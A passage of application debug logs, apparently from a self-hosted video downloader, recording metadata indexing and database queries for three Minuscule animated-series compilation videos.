Ladybugland | S02E62\n00:22:02 | Away all boarders! | S02E41\n00:25:44 | Spider from the Depths | S02E31\n00:29:19 | Mission : BBQ | S02E09\n00:33:04 | Summer Hat | S02E48\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#thief #beach #treasures #panic #chocolate #centipede #bees #wasps #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 2244, "filename" => "/downloads/Miniscule Season 2/2025-09-11 Thievish As A Magpie | Minuscule 🍃 50' Compilation/Thievish As A Magpie | Minuscule 🍃 50' Compilation [Fmdn7GZo03E].mp4", "id" => "Fmdn7GZo03E", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Fmdn7GZo03E", "playlist_index" => 26, "timestamp" => 1757584821, "title" => "Thievish As A Magpie | Minuscule 🍃 50' Compilation", "upload_date" => "20250911"} 22:09:05.692 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1520.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:09:05.693 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1521.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:09:05.694 [debug] QUERY OK source="media_items" db=0.9ms idle=1522.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-11 10:00:21Z], 5] 22:09:05.708 [debug] QUERY OK source="media_items" db=13.3ms idle=1037.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Thievish As A Magpie | S02E11\n00:03:45 | The Chocolate Chase! | S02E19\n00:07:31 | Valentine's Day | S02E15\n00:11:16 | The Hat Of The Medusa | S02E17\n00:15:02 | Thirsty | S02E29\n00:18:34 | Ladybugland | S02E62\n00:22:02 | Away all boarders! | S02E41\n00:25:44 | Spider from the Depths | S02E31\n00:29:19 | Mission : BBQ | S02E09\n00:33:04 | Summer Hat | S02E48\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#thief #beach #treasures #panic #chocolate #centipede #bees #wasps #Minuscule #nature #insects #ladybugs #animatedseries", "Thievish As A Magpie | Minuscule 🍃 50' Compilation", "a60dfc6d-602b-4682-a756-0fefd0352549", "Fmdn7GZo03E", 2244, false, 5, "https://www.youtube.com/watch?v=Fmdn7GZo03E", 26, "/downloads/Miniscule Season 2/2025-09-11 Thievish As A Magpie | Minuscule 🍃 50' Compilation/Thievish As A Magpie | Minuscule 🍃 50' Compilation [Fmdn7GZo03E].mp4", false, false, false, [], 1, ~U[2025-09-11 10:00:21Z], ~U[2025-12-12 05:09:05Z], ~U[2025-12-12 05:09:05Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Thievish As A Magpie | S02E11\n00:03:45 | The Chocolate Chase! | S02E19\n00:07:31 | Valentine's Day | S02E15\n00:11:16 | The Hat Of The Medusa | S02E17\n00:15:02 | Thirsty | S02E29\n00:18:34 | Ladybugland | S02E62\n00:22:02 | Away all boarders! | S02E41\n00:25:44 | Spider from the Depths | S02E31\n00:29:19 | Mission : BBQ | S02E09\n00:33:04 | Summer Hat | S02E48\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#thief #beach #treasures #panic #chocolate #centipede #bees #wasps #Minuscule #nature #insects #ladybugs #animatedseries", "Thievish As A Magpie | Minuscule 🍃 50' Compilation", "Fmdn7GZo03E", 2244, false, 5, "https://www.youtube.com/watch?v=Fmdn7GZo03E", "/downloads/Miniscule Season 2/2025-09-11 Thievish As A Magpie | Minuscule 🍃 50' Compilation/Thievish As A Magpie | Minuscule 🍃 50' Compilation [Fmdn7GZo03E].mp4", false, ~U[2025-09-11 10:00:21Z]] 22:09:05.709 [debug] QUERY OK source="sources" db=0.3ms idle=49.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:09:05.709 [debug] QUERY OK source="media_profiles" db=0.2ms idle=16.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:09:05.710 [debug] QUERY OK source="media_items" db=0.3ms idle=16.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [97079] 22:09:05.710 [debug] Current batch of media processed. Will check again in 1000ms 22:09:06.711 [debug] Current batch of media processed. Will check again in 1000ms 22:09:07.712 [debug] Current batch of media processed. Will check again in 1000ms 22:09:08.713 [debug] Current batch of media processed. Will check again in 1000ms 22:09:09.714 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Grocery Store Racketeer | S02E50\n00:03:35 | The Grocery Store Incident | S02E39\n00:07:06 | The Stubborn Spider | S02E04\n00:10:51 | Spider from the Depths | S02E31\n00:14:26 | Spider Driver | S02E36\n00:18:07 | Rascals! | S02E38\n00:21:46 | Sausage Predator | S02E06\n00:25:32 | An Acorn Season | S02E05\n00:29:18 | A Pathetic She'Nut'Igan | S02E12\n00:33:03 | Ladybugland | S02E62\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Grocery #Spider #Bullying #Revenge #ladybug #flies #chase #supermarket #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 2229, "filename" => "/downloads/Miniscule Season 2/2025-09-09 The Grocery Store Racketeer | Minuscule 🍃 50' Compilation/The Grocery Store Racketeer | Minuscule 🍃 50' Compilation [M8b3joyk5Vc].mp4", "id" => "M8b3joyk5Vc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=M8b3joyk5Vc", "playlist_index" => 27, "timestamp" => 1757397628, "title" => "The Grocery Store Racketeer | Minuscule 🍃 50' Compilation", "upload_date" => "20250909"} 22:09:09.715 [debug] QUERY OK source="sources" db=0.4ms idle=543.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:09:09.716 [debug] QUERY OK source="sources" db=0.4ms idle=544.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:09:09.717 [debug] QUERY OK source="media_items" db=1.0ms idle=545.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-09 06:00:28Z], 5] 22:09:09.735 [debug] QUERY OK source="media_items" db=16.9ms idle=547.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Grocery Store Racketeer | S02E50\n00:03:35 | The Grocery Store Incident | S02E39\n00:07:06 | The Stubborn Spider | S02E04\n00:10:51 | Spider from the Depths | S02E31\n00:14:26 | Spider Driver | S02E36\n00:18:07 | Rascals! | S02E38\n00:21:46 | Sausage Predator | S02E06\n00:25:32 | An Acorn Season | S02E05\n00:29:18 | A Pathetic She'Nut'Igan | S02E12\n00:33:03 | Ladybugland | S02E62\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Grocery #Spider #Bullying #Revenge #ladybug #flies #chase #supermarket #Minuscule #nature #insects #ladybugs #animatedseries", "The Grocery Store Racketeer | Minuscule 🍃 50' Compilation", "918f1a90-3299-405d-88d0-ccd82980190e", "M8b3joyk5Vc", 2229, false, 5, "https://www.youtube.com/watch?v=M8b3joyk5Vc", 27, "/downloads/Miniscule Season 2/2025-09-09 The Grocery Store Racketeer | Minuscule 🍃 50' Compilation/The Grocery Store Racketeer | Minuscule 🍃 50' Compilation [M8b3joyk5Vc].mp4", false, false, false, [], 1, ~U[2025-09-09 06:00:28Z], ~U[2025-12-12 05:09:09Z], ~U[2025-12-12 05:09:09Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Grocery Store Racketeer | S02E50\n00:03:35 | The Grocery Store Incident | S02E39\n00:07:06 | The Stubborn Spider | S02E04\n00:10:51 | Spider from the Depths | S02E31\n00:14:26 | Spider Driver | S02E36\n00:18:07 | Rascals! | S02E38\n00:21:46 | Sausage Predator | S02E06\n00:25:32 | An Acorn Season | S02E05\n00:29:18 | A Pathetic She'Nut'Igan | S02E12\n00:33:03 | Ladybugland | S02E62\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Grocery #Spider #Bullying #Revenge #ladybug #flies #chase #supermarket #Minuscule #nature #insects #ladybugs #animatedseries", "The Grocery Store Racketeer | Minuscule 🍃 50' Compilation", "M8b3joyk5Vc", 2229, false, 5, "https://www.youtube.com/watch?v=M8b3joyk5Vc", "/downloads/Miniscule Season 2/2025-09-09 The Grocery Store Racketeer | Minuscule 🍃 50' Compilation/The Grocery Store Racketeer | Minuscule 🍃 50' Compilation [M8b3joyk5Vc].mp4", false, ~U[2025-09-09 06:00:28Z]] 22:09:09.736 [debug] QUERY OK source="sources" db=0.4ms idle=68.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:09:09.737 [debug] QUERY OK source="media_profiles" db=0.5ms idle=21.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:09:09.738 [debug] QUERY OK source="media_items" db=0.6ms idle=21.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [97081] 22:09:09.739 [debug] Current batch of media processed. Will check again in 1000ms 22:09:10.740 [debug] Current batch of media processed. Will check again in 1000ms 22:09:11.741 [debug] Current batch of media processed. Will check again in 1000ms 22:09:12.742 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Butterfly's Nightmare | S02E20\n00:03:16 | Metamorphosis | S02E61\n00:06:47 | The Butterfly Effect | S02E23\n00:10:09 | The Annoying Neighbor | S02E28\n00:13:45 | Homeless | S02E02\n00:17:33 | The Wing Case | S02E01\n00:21:18 | The Housing Plant Project | S02E26\n00:24:55 | If Only Lonely | S02E22\n00:28:40 | Love Apple | S02E45\n00:32:20 | Trapped | S02E64\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Butterfly #Caterpillar #Nightmare #Cocoon #transformation #caterpillar #rejection #change #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 2201, "filename" => "/downloads/Miniscule Season 2/2025-09-13 A Butterfly's Nightmare 🍎 Minuscule 🍃 45' Compilation/A Butterfly's Nightmare 🍎 Minuscule 🍃 45' Compilation [OT9yM4KWpsE].mp4", "id" => "OT9yM4KWpsE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=OT9yM4KWpsE", "playlist_index" => 28, "timestamp" => 1757786431, "title" => "A Butterfly's Nightmare 🍎 Minuscule 🍃 45' Compilation", "upload_date" => "20250913"} 22:09:12.743 [debug] QUERY OK source="sources" db=0.4ms idle=1571.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:09:12.744 [debug] QUERY OK source="sources" db=0.4ms idle=1572.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:09:12.745 [debug] QUERY OK source="media_items" db=1.1ms idle=1573.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-13 18:00:31Z], 5] 22:09:12.751 [debug] QUERY OK source="media_items" db=4.6ms idle=1075.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Butterfly's Nightmare | S02E20\n00:03:16 | Metamorphosis | S02E61\n00:06:47 | The Butterfly Effect | S02E23\n00:10:09 | The Annoying Neighbor | S02E28\n00:13:45 | Homeless | S02E02\n00:17:33 | The Wing Case | S02E01\n00:21:18 | The Housing Plant Project | S02E26\n00:24:55 | If Only Lonely | S02E22\n00:28:40 | Love Apple | S02E45\n00:32:20 | Trapped | S02E64\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Butterfly #Caterpillar #Nightmare #Cocoon #transformation #caterpillar #rejection #change #Minuscule #nature #insects #ladybugs #animatedseries", "A Butterfly's Nightmare 🍎 Minuscule 🍃 45' Compilation", "9f757dd3-5d57-40ef-b6d5-e36e4bb5019d", "OT9yM4KWpsE", 2201, false, 5, "https://www.youtube.com/watch?v=OT9yM4KWpsE", 28, "/downloads/Miniscule Season 2/2025-09-13 A Butterfly's Nightmare 🍎 Minuscule 🍃 45' Compilation/A Butterfly's Nightmare 🍎 Minuscule 🍃 45' Compilation [OT9yM4KWpsE].mp4", false, false, false, [], 1, ~U[2025-09-13 18:00:31Z], ~U[2025-12-12 05:09:12Z], ~U[2025-12-12 05:09:12Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Butterfly's Nightmare | S02E20\n00:03:16 | Metamorphosis | S02E61\n00:06:47 | The Butterfly Effect | S02E23\n00:10:09 | The Annoying Neighbor | S02E28\n00:13:45 | Homeless | S02E02\n00:17:33 | The Wing Case | S02E01\n00:21:18 | The Housing Plant Project | S02E26\n00:24:55 | If Only Lonely | S02E22\n00:28:40 | Love Apple | S02E45\n00:32:20 | Trapped | S02E64\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Butterfly #Caterpillar #Nightmare #Cocoon #transformation #caterpillar #rejection #change #Minuscule #nature #insects #ladybugs #animatedseries", "A Butterfly's Nightmare 🍎 Minuscule 🍃 45' Compilation", "OT9yM4KWpsE", 2201, false, 5, "https://www.youtube.com/watch?v=OT9yM4KWpsE", "/downloads/Miniscule Season 2/2025-09-13 A Butterfly's Nightmare 🍎 Minuscule 🍃 45' Compilation/A Butterfly's Nightmare 🍎 Minuscule 🍃 45' Compilation [OT9yM4KWpsE].mp4", false, ~U[2025-09-13 18:00:31Z]] 22:09:12.752 [debug] QUERY OK source="sources" db=0.2ms idle=78.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:09:12.752 [debug] QUERY OK source="media_profiles" db=0.2ms idle=8.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:09:12.753 [debug] QUERY OK source="media_items" db=0.3ms idle=8.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [97083] 